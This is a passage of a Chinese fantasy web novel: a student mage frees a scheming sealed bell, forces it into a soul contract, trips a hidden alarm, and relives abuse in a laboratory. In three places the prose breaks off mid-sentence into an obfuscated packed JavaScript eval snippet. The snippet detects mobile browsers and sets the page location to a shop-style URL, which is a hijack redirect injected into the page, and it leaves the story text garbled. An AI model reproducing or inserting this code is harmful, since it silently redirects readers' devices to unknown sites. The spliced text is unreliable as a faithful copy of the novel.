这么宏伟的树,希尔维斯特的植物图鉴上却没有任何记载。就连南雾森林的官方资料都只含糊地写着【深处疑似存在古木群落】,连张像样的插图都没有。 终于,她来到这座天然的牢笼前。 石头与树根紧密相贴,看不到一丝缝隙,像是被吞进去了一半。比她预估的还要大,高度至少有五六个她叠起来那么高,看着就像是山谷里天然生成的一部分。 不敢相信,这该是一个多么强大禁锢魔法。 而这却只为压制一个魔器。 菲丽希蒂呢喃:“你到底是什么?” “都说了是主角啦!”声音有些急切,还带着点谄媚,“快点嘛!你找找看,石头上应该有符印。你只要把手放在符印上,注入魔力就可以啦!很简单的!” 她的目光上移,落在石头面向外的某个位置。那里有一片苔藓的颜色和周围不太一样,是新长出来的浅绿色,覆盖在更深的墨绿上。 菲莉西蒂凑近看。那片区域的苔藓被人为刮掉过,现在又长了回来,但厚度明显不够。她可以从苔藓重新覆盖上去的程度判断,这里至少有几年没人来过了。 刮掉苔藓后,可以看到石面上刻着一个印记。 或者应该说是涂鸦。 线条非常随意,甚至可以说是潦草。一个不太圆的圈,里面用更粗的线条画了个歪歪扭扭的笑脸。旁边还有同样潦草却充满警告意味的大字: 「别碰!」 字迹张狂,每一笔都深深刻进石头,透着一股不容置疑的霸道。 菲莉西蒂的手悬在那充满警告的印记上方,没有触碰。 然后,她开始调动起体内仅存的魔力。 魔力如触须,缓缓探向石头与周围的每一个接缝。她感受着那些微弱的魔法波动—— 果然。 在石头最底部,传来异常顽固的能量阻滞感。 “你怎么不动?”对方急了,还带着点哭腔,“你直接推啊!推开了主角就能出来了!不出来,主角怎么帮你呀!” 菲莉西蒂收回手,往后退了几步。 它已经从一开始的大喊大叫,变成了得不到回应的啜泣。 “呜……主角好不容易找到一个可以对话的人,结果还那么狠心!主角在这里被困了好久好久,每天只能看着这些破树、烂草、还有这块肮脏的臭石头!呜呜……你快和主角说话呀!” 菲莉西蒂没理它。 她在学习魔法理论时,为了搞清楚自己不了解的魔法特征及来源,曾在图书馆泡了整整两个学期,翻遍了所有能接触到的典籍,哪怕有些书早已放在角落堆灰。 甚至连黑魔法相关的书籍,菲莉西蒂都有所涉猎。可惜市面上流通的有关黑魔法的书籍过少,基本都是科普类,有些都还是错误的。 而在一本几乎要被虫蛀空的残破书里,曾用很小的字记载过一个极为偏门的禁锢魔法。 以施法者鲜血为媒介,构建多重能量锁链,将被封印物与大地脉络彻底绑定,近乎永固。除非施法者自愿解除,或注入远超常规的庞大魔力冲击其核心,否则极难松动。 这也是极为复杂且精细的魔法,至少得是高级魔法师才能使用。 且主要针对具有高度自主意识、难以控制的魔法造物或特殊生命体。 但关键点不在于这里。 菲莉西蒂的目光落回到石头上的涂鸦。 这个魔法需要施法者留下显眼印记,一旦有人试图通过接触符印来解除魔法,那么内部核心会疯狂抽取接触者的魔力,直至枯竭,如果不能及时脱离,甚至会反噬生命。 但相应的,每一次这样的冲击,也确实会让最底层的禁锢产生松动。次数多了,强大的被封印物说不定也能凭借自己的力量脱身。 完全没理会脑海里快把她哭聋的声音,菲莉西蒂再次观察起周围的痕迹。 这封印存在的时间,恐怕有二十余年了。而根据她刚才的探查,底层的禁锢,松动得相当厉害。 这么多年,误入此地或被这个自称主角的魔器呼唤来,试图推动这符印的人,绝不止一个。 而它,刚刚还在指挥自己把手放上去。 它是真不知道,还是……根本不在乎接触者的死活? 孩童的啜泣声还在继续,听上去非常委屈。 菲莉西蒂缓缓开口:“这个是血缚术。” 声音戛然而止。 “如果贸然把手放上去输入魔力的话,是会有危险的。”她继续说,语气平静。 对方停顿了一会,状似懵懂道:“啊?原来是这样呀。我睡了好久,都不知道的。” 随即又急切起来:“那……那你有办法吗?你肯定有办法对吧!帮帮主角呜呜,主角出来就能帮你了!” 她的确知道如何破解,那本书都记录得很清楚。 菲莉西蒂握紧拳头。 对方知道她想要什么,所以它一直用这个当诱饵,一遍遍地催促。 她看着巨石,又看看已经浑身是伤的自己。 一路上连敌人都没碰到,只是听从指引在赶路,就能狼狈成这个样子。 一个念头浮了上来:要不是封印已经松动到,像她这么弱的魔法师都能解除,那自己是不是就连唯一可能可以救大家的机会都没有了? 不。 菲莉西蒂想:被唾弃的魔偶连人都不算,还能成为魔法师吗? 尽管如此,哪怕是一丝的机会,她也要抓住。 比起那些正在和魔物斗争的同学们,自己又算得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164940|196665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么呢? 菲莉西蒂蹲下,将掌心贴在草地上。 深吸一口气,将体内所剩无几的魔力,缓慢而稳定地注入进去。 随着魔力流入,石头底部开始亮起微弱的暗红色光芒。在菲莉西蒂的所处位置处出现了一个法阵,图案正是方才在石头上的涂鸦。 周围的浮光粒子被吸引,绕着法阵旋转,形成一圈流动的银色光晕。 菲莉西蒂束起的高马尾无风自动,发梢浮起。银色的光晕包裹着她,光从她身上漫过去,像是要把她整个人都浸没。 掌心贴合的位置,开始传来一股微弱的吸力,主动汲取她的魔力。幸好已经松动太多,需要的量远不如完整状态。 菲莉西蒂的脸色迅速苍白下去。 魔力流逝的感觉清晰无比,像身体深处的血肉顺着接触面流出。自从离开研究所后,她也已经很久没有感受魔力被抽干的过程了,一种久违的空虚与刺痛开始蔓延。 她的额前渗出冷汗,眼前的浮光粒子开始出现重影。 “对!就是这样!马上就好了!”声音已经激动到发颤。 就在菲莉西蒂感到一阵眩晕,眼前开始发黑时—— “咔。” 清晰的碎裂声。 巨石底部猛地爆发出刺目的红光,表面出现了数不清的裂痕。在菲莉西蒂脱力跪倒的同时,巨石崩碎,化为无数大小不一的碎块,裹挟着多年的尘土,轰然滑落。 烟尘散开,终于露出底下被封印多年的物品。 一枚半个巴掌大的铃铛躺在那里,银白色的表面覆盖着繁复的暗纹,纹路深处有极黯淡的流光游走。顶端的小圆环拴着一截断裂的金色细链,侧面有道贯穿的裂痕。 它干净得不染尘埃,和周围污浊的环境格格不入。 菲莉西蒂跪在地上,用手撑着地面,手指深深陷进泥土。发梢垂落,每一次呼吸都伴着刺痛,视线边缘发黑,耳膜嗡嗡作响。 她的魔力几乎被抽干了。 然后,那个她已经熟悉的童音,不再是通过脑海,而是真切地从铃铛的方向传来。 铃铛从泥土中缓缓浮起,悬浮在空中,光芒在它表面流转。 那道缝隙微微张开: “哇哈哈!!” 声音依旧稚嫩,却彻底没了之前的讨好和小心翼翼,带着一种终于挣脱束缚的狂喜。 “我终于出来啦!这破石头!去死吧神眷…” 它猛地顿住。 裂痕颤抖着,银光忽明忽暗。那句话的后半截被硬生生咽回去,声音陡然压低,迅速转了个调子: “反、反正我出来了!哇哈哈哈!” * 同一时刻,希尔维斯特主城边缘,某株巨树内部。 被菲莉西蒂认可的新老师踩着一个黑袍人的背,靴底碾过脊椎。四周全是倒下的尸体。 黑袍人的脸早已血肉模糊,紧贴着地面。他的嘴里全是翻涌出来的血,含糊不清地求饶:“阁下!我们真的不、不知道,只是接到命令在这里待命……” “命令谁下的?”黑发男人歪着头问,语气轻松,戴着黑手套的手指绕着一把小刀。 “不、不知道!传讯来的,声音处理过……” “咔吧。” 没有任何预兆,脊椎断裂的脆响混着短促的惨叫,之后彻底沉寂。 男人撇嘴,正要移开脚,动作忽然顿住。 他保持着单脚踩在尸体上的姿势,侧过头,凭空看向南雾森林的方向。 那个他当年顺手钉死在某个树坑里、还特地警告别人别乱碰的麻烦小东西,被解封了? 他嘴角咧开,脚下发力。 尸体被彻底洞穿,却没有血溅出,反而涌出了一大片黑色的粘稠物。 “还挺有意思的。” 12. 巨树内的庇护所 菲莉西蒂面无表情地抬头看向那枚得意洋洋的铃铛。 她的全身酸软无比,手因支撑身体而微微发抖。 如果现在对方想杀她,简直是轻而易举。 那枚银白色的铃铛在她面前上下浮动,金色细链垂落下来开始摆动,节奏生硬。每次摆动到极限时还会微微停顿,再往回晃,像是刚学会控制身体。 哪怕对方没有眼睛,菲莉西蒂依然能感受到,有一道视线在自己身上来回扫动,最后停留在脸上。 “什么嘛?原来你长这样啊!” 缝隙一张一合,依旧是那个稚嫩的童音,带着点莫名其妙的嫌弃。它飘近了些,几乎要贴到菲莉西蒂脸上,铃铛最上的圆环正对着她的眼睛。 “虽然主角非常讨厌你的黑色头发,”它嘀咕着,“不过总觉得你有点眼熟。” 绞尽脑汁也实在是想不起来,它直接选择放弃,语气一转,又变得熟络起来: “刚才谢谢你啦!虽然你魔力弱了点,动作慢了点,胆子小了点,但总归是把主角救出来了嘛!放心,主角说话算话,这就带你去庇护所!” 它自顾自说完,金色细链在空中划了个圈,转身就要往古树方向飘。 “等等。” 菲莉西蒂叫住它,声音因为虚弱而有些沙哑。 她撑着一股劲,一点点站起来。哪怕膝盖在发抖,小腿肌肉也因为刚才的奔跑和魔力透支而微微痉挛,但她强迫自己站稳,背脊挺得笔直。 站直后,她比悬浮的铃铛高出不少。菲莉西蒂垂下眼睛看它,开口道: “你说过,出来之后,能帮我把消息传出去。” 铃铛缝隙一瞥,“叮当叮当”地又往上飘,直到和菲莉西蒂视线齐平。金色细链垂落下来,对着比了比,缝隙抿起。 “那个不急嘛!主角现在才刚出来,等到了庇护所,恢复一下力量,很快就能搞定,快走吧!” 它又开始催促,细链摆动的幅度变大,透着股迫不及待。 对方现在急切的样子,和之前催着她来营救时,没什么不同。 菲莉西蒂反而提了另一个无关紧要的问题:“庇护所里有对你很重要的东西吗?” 能重要到和自由等价。 它一听这个,委屈巴巴的样子也不做了,直接承认:“对啊!而且主角真的没骗你,等恢复能量后就一定帮你!” 铃铛往前挺,链子往后摆,做出一副霸气的姿态。 “主人曾夸过主角最大的优点,就是诚实!” “那行,你带我去吧。”菲莉西蒂难得这么顺从。 像是没想到一直谨慎的女生会如此爽快,铃铛立马在原地疯狂转圈,缝隙咧得老高,同时不忘初心,继续催促: “那快点跟上主角!” 它嗖地飞到前面,朝着那道巨大的裂缝飞去。 菲莉西蒂强撑着一口气,她知道,自己的身体已经快到极限了。她的目光扫过手腕上黯淡无光的传送水晶,又看向来时的方向。 那里有魔物在游荡,有考生在奋力战斗或逃亡,甚至还有监考官遇袭。 为了把消息传出去。 为了可能存在的渺茫希望。 哪怕眼前的魔器如此可疑,她也得赌。 于是菲莉西蒂迈开脚步,靴子踩过柔软的草地,走向古树裂缝深处更浓的黑暗。 * 抬头看向夸张的裂缝,菲莉西蒂朝身旁已经转了不知道多少圈的铃铛真诚询问:“和你说一下,我不会飞行魔法的。” 铃铛哼哼唧唧:“我当然知道!难道刚刚和你一起过来的是鬼吗?” 话一说完,它突然爆发出比刚才明亮数倍的银光,那道缝隙完全张开,发出一阵急促的嗡鸣。 一股力量攫住了她的身体。周围的景象开始扭曲,旋转着搅成一团模糊色块。 菲莉西蒂甚至没反应过来,就感到脚下一空,但只是一瞬间,便又重新触到了坚实的平面。 菲莉西蒂踉跄了一下,弯腰撑在膝盖上,眩晕感还残留在身体里。她急促地呼吸,胃里一阵翻搅。 当她终于缓过来,能够抬头时,眼前是完全不同的景象。 树心被整个掏空,形成一个向上延伸的巨大垂直空洞,下方是深不见底的黑暗。。螺旋向上的木质阶梯紧贴着内侧树壁蜿蜒攀升,阶梯宽约两人并肩,边缘粗糙,没有任何护栏。 而她正站在阶梯起始的平台上。 树壁上盘绕着粗壮的枝干,有些横跨空洞,连接着不同高度的平台。全是木头和霉味混合的气息。 头顶极高处,有极其微弱的天光,透过树体天然的孔隙或裂缝渗入,形成一道道光柱。光柱照亮空气中漂浮的尘埃,也让这个巨大的树内空间不至于完全陷入黑暗。 奇怪的是,明明外面那么多浮光粒子,在内部却一个也没见着。 菲莉西蒂站在入口处,仰头看着这片景象。 这绝不是自然形成的。 该是多么恐怖的力量能做成这样。 “怎么样?快吧!” 铃铛悬浮在她面前,已经恢复成平时的亮度。虽然只相处这么一会,菲莉西蒂已经能从它的铃铛姿态中,看出它的得意。 “省得你爬进来了,直接送到起点,贴心吧?” 是在她没有主动配合的情况下施展的完美传动,这更加说明了对方对这一能力的熟练运用。 这个魔器的力量,比它表现出来的要麻烦得多。 哪怕心里想了很多,菲莉西蒂表情依旧没变,故作不满道:“那你为什么不直接把我送上去?” 一听是对自己能力的质疑,正在快乐转圈的铃铛不乐意了:“我现在魔力都还没恢复,能给你传送到这就已经快用完了,还老是嫌弃主角!” 菲莉西蒂眨眼,用之前在书上看到的做客技巧哄道:“真抱歉,没想到里面那么漂亮。” 铃铛的注意力一下子就转移了。 “是主角的主人做的!”它的声音在空旷的树心空间里回荡,带着毫不掩饰的骄傲,“庇护所就在上面!快跟上!” 菲莉西蒂踏上木质阶梯。脚下的木板发出轻微的嘎吱声,但还算稳固。阶梯表面覆盖着厚重的灰尘,每走一步都会留下清晰的脚印。 她走得很慢。 魔力透支的后遗症还在,四肢酸软无力,头晕目眩。她不得不经常停下来,扶着冰冷潮湿的木壁喘息。每一次呼吸都伴随着喉咙的发痒刺痛,让她不受控地咳嗽,视线边缘也时不时发黑。 “喂,你行不行啊?” 铃铛飞回来,绕着她转圈。 “要不要主角带你上去呀?只需要你给主角一点点魔力……” “不用。 菲莉西蒂打断它,喘匀了气,继续向上走。 “小气鬼。” 铃铛嘀咕了一句,又飞到了前面。但它没有飞远,只是悬浮在往上几级阶梯的位置,那道缝隙时不时就转向她,像是在观察。 “主角还是觉得你很眼熟,到底是在哪见过呢……” 菲莉西蒂没理会它,专注地看着脚下的路,扶着木壁一级一级往上走。木壁粗糙,表面有岁月留下的深深裂痕,有些地方还长着薄薄的苔藓,湿滑粘腻。 爬升的过程仿佛没有尽头。她不再去数转了多少圈,只是机械地抬腿、落脚、扶墙。汗水浸湿了后背,伤口被粗糙的法袍布料摩擦,传来阵阵刺痛。 不知爬了多久,直到能看到头顶极高处的平台边缘在微光中显出模糊的轮廓。 “到啦到啦!就是这里!” 菲莉西蒂咬着牙,攀上最后几级阶梯。 眼前是一个从树壁延伸出来的宽阔平台,平台尽头,粗壮的树干上开着一个不规则的洞口,被层层叠叠的深绿色枝叶完全遮蔽 “你确定是这里?”她看向铃铛。 “当然!以前主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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树壁上还贴满了手绘地图,用不同颜色的墨水标注着恶龙巢穴、宝藏地点、勇者城堡等,线条稚嫩,但画得异常认真,每个地名旁边还配有小小的图标。 她放下书,借着光观察整个房间。这里很小,一眼就能看完,却堆了不下百本书,内容大同小异。书堆旁还有一些小玩意儿。 生锈的玩具小剑,老旧的木质勇者面具,还有几个用树枝和麻绳做的粗糙王冠,甚至还有布满灰尘的冒险游戏盒,骰子掉在角落,角色卡牌上落满灰尘,上面有用彩色蜡笔完成的“勇者”、“魔法师”、“坏人”等稚嫩画作。 这里就像是某个孩子的秘密基地。 “看!我没骗你吧!” 铃铛得意地在房间中央盘旋。那里有一个黯淡的复杂圆形符文阵。 阵法的线条是暗银色的,与铃铛表面的纹路有几分相似,此刻正散发着极其微弱的魔力波动,维持着最低限度的运转。 菲莉西蒂走到阵法边缘,蹲下身仔细查看符文。 阵法的波动确实稳定,这也是一种非常高明的隐匿魔法,虽然能量已经所剩无几,但效果依然显著。 她站起身,转向悬浮在阵法上方的铃铛。 “现在,”她说,声音在寂静的树洞里格外得大,“可以履行你的承诺了吗?” 铃铛的银光急促闪烁,金色细链虽然依旧在摆动,但明显比之前生龙活虎的样子僵硬。 “当然可以!只是……只是主角现在还没恢复完全,需要一点……帮助。” 菲莉西蒂的手指在法杖上轻轻摩挲。 “什么帮助?” “一点点魔力!”铃铛立刻接话,飞到离她更近的位置,金色细链讨好般地搓动。 “不用很多!让主角能启动这个阵法的一个小功能,它能加强感应!就能找到这个屏障的突破点,传消息出去了!” 又需要魔力。 菲莉西蒂的目光落在阵法上。 她虽然没见过这个阵法,但能从已有知识的框架推断,这是一种复合型增幅法阵,确实是有加强感知的功能。 但启动它需要的魔力,也绝对不是铃铛说的“一点点”。 回想一路上对方的言行,她抬起眼,直视铃铛,那双琥珀色的眼睛在黑暗处显得格外亮。 “我可以答应你。” “但我要和你缔结灵契。” 13. 最“诚实”的魔器 铃铛的缝隙微微张开,链子已经完全垂落,带着尖锐的惊叫: “你疯了?!” 菲莉西蒂伸手轻轻拂开床铺的表面浮尘,像在整理别人弄乱的被褥,低声说了声抱歉。 然后才轻轻坐在一角,动作缓慢,一直处于疲惫状态的身体终于得以稍稍放松。 “没有。”她抬起脸,非常认真地回答:“毕竟我为数不多的优点之一,就是诚实。” 铃铛完全没听她在说什么,注意力全在之前她说的话上。它的声音拔高,金色细链在空中飞舞 “灵契是灵魂契约!一旦订立,如果没完成,契约会一直存在!违约者灵魂会受损!严重的话会直接消散!你一个学生怎么会知道这个?又怎么敢提出来的?!” 菲莉西蒂声音沙哑:“如果你多去图书馆,就能知道。那里讲魔法理论的内容很多。” 与契约相关的魔法,其实并不是中级学院教授的内容。只是菲莉西蒂比较感兴趣,所以凡是相关的书籍都有阅读。 而灵契属于契约魔法当中较为温和的一类,需要的魔力储量也较少。 它要求双方必须在场,且要以真名为媒介,在魔法的引导下完成结契。契约成立后,双方灵魂会建立临时连接,直至约定事项完成才能终止。 在没有铃铛的吵闹声后,树洞内彻底安静下来。她耐心等着,看着铃铛表面的光芒随着情绪忽明忽暗。 终于,它再次开口,声音第一次冷下来: “我不会和你缔结契约的,永远不会!我只会听主人,其他人都不行。” “那就没办法了。”菲莉西蒂异常坚决,“没有契约保障,我不会再帮你。” 她的目光落在中央那个黯淡的阵法上,慢条斯理地说:“只是我看你很想启动这个法阵的样子。明明自己刚从封印里出来,却急着催我过来……是因为这阵法对你很重要?” 铃铛僵在半空。 菲莉西蒂没等它反应,继续道: “其实你帮不了我也没关系,我相信学院会来救人的。只是——” 她顿了顿,眉头皱起,难得露出失望的表情。 “只是没想到,主角你这么不讲信用。” “你胡说什么!!” 铃铛身上的光芒狂闪,缝隙剧烈张大,全是对自己的诚信受到质疑的愤怒: “主角才没骗你!只要启动这个阵法,主角就能找到屏障突破口!想传消息简直轻而易举!” “那为什么骗我是黑魔法师把你封印的?” “那主角不是得先考虑自己吗?!主角不这么说,你这个正派魔法学生能来救……” 铃铛原本在空中乱甩的链子僵住,终于发觉自己说出了什么不得了的东西。 菲莉西蒂仿佛早就猜到似的,将法杖握紧,唯一的光源将一人一物的影子投射到洞壁上。她平静道: “所以你本来就是归属于黑魔法的魔器。” 其实很明显。 不管是对黑魔法的熟悉程度,还是对性命、战争的不屑一顾,都非常符合她对黑魔法师的认识。 只是想诈诈看,没想到对方那么容易就招了。 铃铛见瞒不过,缝隙一瞥,直接飞到了菲莉西蒂身旁位置,咬牙切齿道: “关我的是个超级讨厌但又很强大的正派魔法师。不然凭主角这么厉害的魔器,是绝不可能被封印的!” “但是我很不喜欢黑魔法师的!可别把我和他们混为一谈!” 它的声音逐渐减弱: “后来主角每次醒来,都能感觉到黑魔法师在探寻封印地点。但因为封印有屏蔽效果,再加上这个树洞的隐匿法阵,他们一直没发现主角在这个森林里。” “只是这次他们离得很近了,所以主角才急着要你救,好躲到这里来。” 菲莉西蒂静静听着。 “所以,”她缓缓道,“其实这里被封锁,以及魔物肆虐,都是因为他们在找你?” 铃铛又默默地把缝隙那面转了过去,支支吾吾不说话。 菲莉西蒂看它这样,又送上致命一击: “所以你前面让我触碰封印,也是为了把我杀了再自己解封。之前是不是也干过很多这种事?” 铃铛又唰地把缝隙转回来,金色细链疯狂甩动,伴随着身体的叮铃声。 “之前那几次都是在苍白之灾时期觊觎主角力量的人!自从这个鬼森林被莫名其妙封闭之后,我已经快十年没见过人了!” 声音拔高,带着愤怒,就是只字不提前一句话。 看来它是真有过这个想法。 菲莉西蒂默默看着它。 “而且像你这种看上去就像大小姐的家伙根本什么都不懂!主角才不怕他们呢!主角是保存实力!只要启动法阵,主角的魔力就能大大加强!” 它色厉内荏地威胁着,链子胡乱甩动。 菲莉西蒂脸上没露出任何情绪,只是慢慢站起来。 “如果你真的想要我帮你,那就签订契约吧。” 铃铛不吭声。 “反正只要完成约定就能解除。”菲莉西蒂继续说,像平时哄双胞胎一样软下语气,“而且你不是说你最诚实吗?证明给我看呀。” 最后那句她的尾音微微扬起,带着点质疑。 果然,对方直接暴起:“结契就结契!主角才没骗人呢!” 菲莉西蒂的内心终于长呼一口气,但她脸上依旧平静,只是点了点头。 “那么,开始吧。” 她拿起法杖,凭空画出一道极为复杂的法阵。 铃铛在一旁看着,已经不知道第几次在心里偷偷赞叹对方对于魔法理论的了解。而后缓缓飘到菲丽希蒂面前,与她视线齐平。 “我需要你的真名,”菲莉西蒂边画边说,“灵契必须以此为基础。” “……主角就叫主角!”金链子又在空中不服气地挥动,“这可是主人亲自取的!比什么弥玛拉、安格瑞姆好听多了!” 听到答案后,菲莉西蒂认真落下最后一笔,严肃道:“按照契约,我菲莉西蒂,将提供启动阵法所需的魔力,主角则利用阵法找到屏障突破口,将南雾森林出现黑魔法师及魔物的消息传出去。契约期间,主角不得以任何形式伤害我或通过我间接伤害他人。” 铃铛闷闷答道:“我主角,同意契约。” 话音落下的瞬间,菲莉西蒂感觉胸口发烫。 一根光线从她心脏的位置出发,系在了半空中。线的另一端则连着铃铛。 紧接着,光线收缩,在半空中化作两个并排浮现的符文。 左边那个符文标准漂亮,透着浅琥珀色的微光;右边那个则像幼童随意书写,尾部还画了个小铃铛。 两个符文在空中悬停了几秒秒,而后同时碎裂,化作光点消散在空气里。 契约成立了。 “那么,现在得请你告诉我,”菲莉西蒂站起,走到阵法中央,“启动这个阵法需要多少魔力?” 铃铛老实了不少:“不多,差不多是之前解开封印的一半吧。” 一半。 菲莉西蒂垂下眼睛。 之前解开封印时导致的无力感还在,但她能感觉到,经过刚才短暂的喘息,一丝稀薄的魔力正在重新汇聚。大约恢复了四成,也勉强够了。 她知道短时间内这样反复消耗魔力对身体的伤害极大。 但对现在的菲莉西蒂来说,这不是需要犹豫的事。 “好。”她说。 铃铛愣了愣:“……你确定?” 明明从之前的情况来看,眼前的女孩应该已经很虚弱了。 “开始吧。”她说。 “那你听我的。”它难得正经起来,“闭眼,调动魔力,别抵抗阵法的引导。” 菲莉西蒂闭上双眼,缓缓调动体内那点刚刚汇聚起来的魔力。 铃铛悬停在她头顶,断裂的金色细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一阵剧烈的疼痛在腹部炸开!这吸力正试图强行撬开她的核心! “怎么回事?!”铃铛惊慌失措的尖叫声在她头顶响起,它表面的银光也在剧烈地闪烁,显然也受到了阵法异变的冲击。 “不对!这不对!这个感应增幅怎么会触发警报?这阵法里怎么还埋着这种该死的陷阱?!停!快停下来啊!” “切、切断它!用你的意志力强行断开连接!”它几乎是在哭喊,“不然你的生命力会被吸干的!连你的灵魂波动都会被阵法记录!那些家伙马上就会知道我们的精确位置!快啊!” 菲莉西蒂紧咬下唇,利用熟悉的铁锈味让自己从剧痛中清醒,用尽最后一丝残存的意志力,试图抵抗那股恐怖的吸力,将意识从与阵法的连接中剥离。 但是,太晚了。 阵法的光芒在这一刻达到了顶点! 菲莉西蒂感到自己的身体失去了所有力量,软软地向后倒去。 在视野彻底被黑暗吞噬的前一刹那,她“看”到了—— 在南雾森林某处巨木之上,一个静静矗立在最高处的黑袍身影。 那人手中托着一个罗盘状的法器,罗盘中央,一根漆黑的指针正剧烈震颤着,如同终于嗅到猎物味道的猎犬,激动地指向她所在的方位。 黑袍身影似乎感应到了她的窥视,极其缓慢地抬起头。 一张额头处印着黑色扭曲眼睛图案的纯白面具,进入菲莉西蒂的视线。 面具上那只扭曲的眼睛,也精准地“看”向了她。 视线交接的瞬间,菲莉西蒂心脏狂跳,像是有无数双来自同样面具人的手,正从记忆深处伸出来,要再次把她按回那张冰冷的实验台。 在极度的恐惧中,黑暗将菲莉西蒂彻底吞没。 14. 意外频发 昏暗又极为狭窄的房间中,仅有一张铁床摆放在角落。 1号坐在床边,布满淤青的细瘦双脚紧张地并拢,两只手局促地交握在一起,脖子处有一条长长的链条连至床头,它垂着光溜溜的脑袋,面无表情地盯着地面。 戴着白色面具的黑袍研究员站在它面前,烦躁地敲着手中的记录板:“1号,接下来的问题如果你能如实回答,我会向所长争取,安排你和父母见面。” 它迅速扫了对方一眼,而后低下头,声音很低:“好的,研究员先生。” “为什么不攻击其它魔偶?” “1号怕伤到他们…他们有些看起来好小。而且,爸爸妈妈要是知道1号随便欺负人,会生气的。” “它们不会介意的。”研究员的语气先是放轻,然后一点点拔高,变得尖锐,变成1号最熟悉的暴怒。面具上那双黑色眼睛仿佛也在蔑视着它。 “这是大家一起玩游戏!你父母也会理解的,毕竟是他们把你留在这儿的,所以下次一定要使出全力攻击,可以吗?” 它将头垂得更低了,手指蜷缩着:“……好的,研究员先生。” “下一个问题,为什么之前能用的治愈魔法现在无法使用了?” “1号用了!但1号也不知道为什么伤口没愈合。”它急切地回答,想起前几天209号告诉它的话,难得抬起头直面对方,声音发抖却努力稳住: “研究员先生…下次…下次能不能不玩这个游戏?1号流好多血,好痛。” 面具人停下了手中的记录笔,冰冷的视线将1号上下打量了一番,竟捂着脸笑出了声:“真不敢相信……”。 1号看着这样的研究员,不自觉打了个哆嗦。 没一会儿,那人便将手放下,厉声呵斥:“既然知道痛,下次就好好使用自己的能力,废物!” 话音刚落,连着简陋铁架床头的锁链立即闪过电光,1号痛得瘫倒在床上,肌肉不受控制地痉挛抽搐。即使是这样,它也紧紧咬着嘴唇,不敢发出一点喊声。 毕竟,这点疼和它平时玩的“游戏”来比也算不得什么。 研究员失望摇头:“真是浪费你父母的基因。” 1号脸色晦暗不明,身体止不住地抽搐,身下的床单被抓得皱皱巴巴。见研究员转身要走,它用尽最后一点力气赶忙伸手想抓对方衣袍,却被一股无形的力量弹开。 那股力大得惊人,1号在冲击下重重砸在冰冷的金属墙壁,骨头撞上硬物的闷响在狭窄房间里显得格外清晰。下一秒,拴在脖子上的锁链又将它硬生生拽回到铁床上。 1号到最后也只得到一记满是恶意的瞪视。 门被大力甩上,魔法锁自动下落。1号缩回床脚,熟悉的漆黑和寂静再次袭来。 果然这次又是在骗它。 但它每一次还是会想:万一这次是真的呢? 1号蜷缩侧躺在床上,用手抱住自己,试图模拟某种从未得到的温暖。 星点闪光在眼角划过,又消失不见。 就像一场冻结的雨。 * 疼痛是醒来的第一个感知。 然后是身体的空虚,仿佛全身的血液和力气都被抽干了,只剩下外壳。喉咙干得发痛,每呼吸一次都带着剧烈的疼痛。 菲莉西蒂艰难掀开沉重的眼皮。 视线模糊了片刻,才逐渐聚焦。 她仍躺在地上,身下那个黯淡的阵法已经彻底停止了运转,线条灰暗下去,再无一丝魔力波动。 洞内光线昏暗,只有壁孔透入的薄弱光线,连之前阵法那点微弱的嗡鸣都消失了。 她试着动了动手指,连活动都无比困难。魔力几乎感觉不到了。连那个她一向藏得深深的腹部核心处也传来一阵阵抽痛。 “主......角......”菲莉西蒂尝试说话,声音嘶哑。 没有回应。 她费力转动脖颈,借着光线在黑暗里搜寻。 铃铛倒在角落,几乎与阴影融为一体,估计是被弹开的。表面的银光完全变暗,断裂的链子无力地耷拉着。 看起来也挺惨的。 菲莉西蒂积攒了一点力气,撑着身体,试图坐起来。这个简单的动作让她一阵眩晕,全身除了痛再无其它知觉。她喘息了好一会儿,才勉强稳住。 “......你还好吗?” 角落的银光非常微弱地闪了一下。 不一会,那个熟悉的童音才断断续续地响起,虚弱无比,带着浓重的哭腔。 “差、差点就死掉了......呜呜。”它抽噎着,“那个该死的警报,怎么还在.....明明都过去那么久了!差点把主角最后一点本源都吸走了呜呜呜!” 然后它像是发现了什么,再次崩溃大哭: “为什么契约还在!?主角真的已经快要传出去了!” 本源? 菲莉西蒂没心思深究对方话里的这个新词。 她回想起昏迷前看到的最后一幕,手不住颤抖。 “黑魔法师可能发现我们了。”她声音干涩,“你现在还能感知吗?” 角落里的抽噎声停了,转而恐惧道: “附近有东西在靠近!不止一个,两个,不......至少有三个不同的魔力源在朝这边移动!” 位置暴露了。 菲莉西蒂咬牙,下唇的血已经凝固。 “他们多久会到?”她问,声音出乎意料的平静。 铃铛的声音越来越低:“不知道,主角魔力也被抽得差不多了,只能微弱感知,但应该快了。” 这里,已经成了最显眼的靶子。 必须离开。 立刻。 菲莉西蒂用尽才刚恢复一点的力气,强迫自己站起来。她的双腿抖得厉害,随时快要倒下。她扶住洞壁,手指紧扣住,才没有再次摔倒。 “走。”她对角落说,“离开这里。” “去哪里?”铃铛哽咽,“主角现在已经飞不动了,你又那么弱!我们出去就是送死。” “留在这里是等死。”菲莉西蒂打断它,语气斩钉截铁。 她摸索着找到已经完全报废的法杖,放进布包里,冷静地说:“既然你已经找到了屏障的突破口,那么现在我们就必须得撑到你恢复能量的时候。” 她直直看向角落黯淡下去的铃铛,眼神坚定: “别忘了你答应过我什么。” 角落里的银光又闪了闪,没出声。 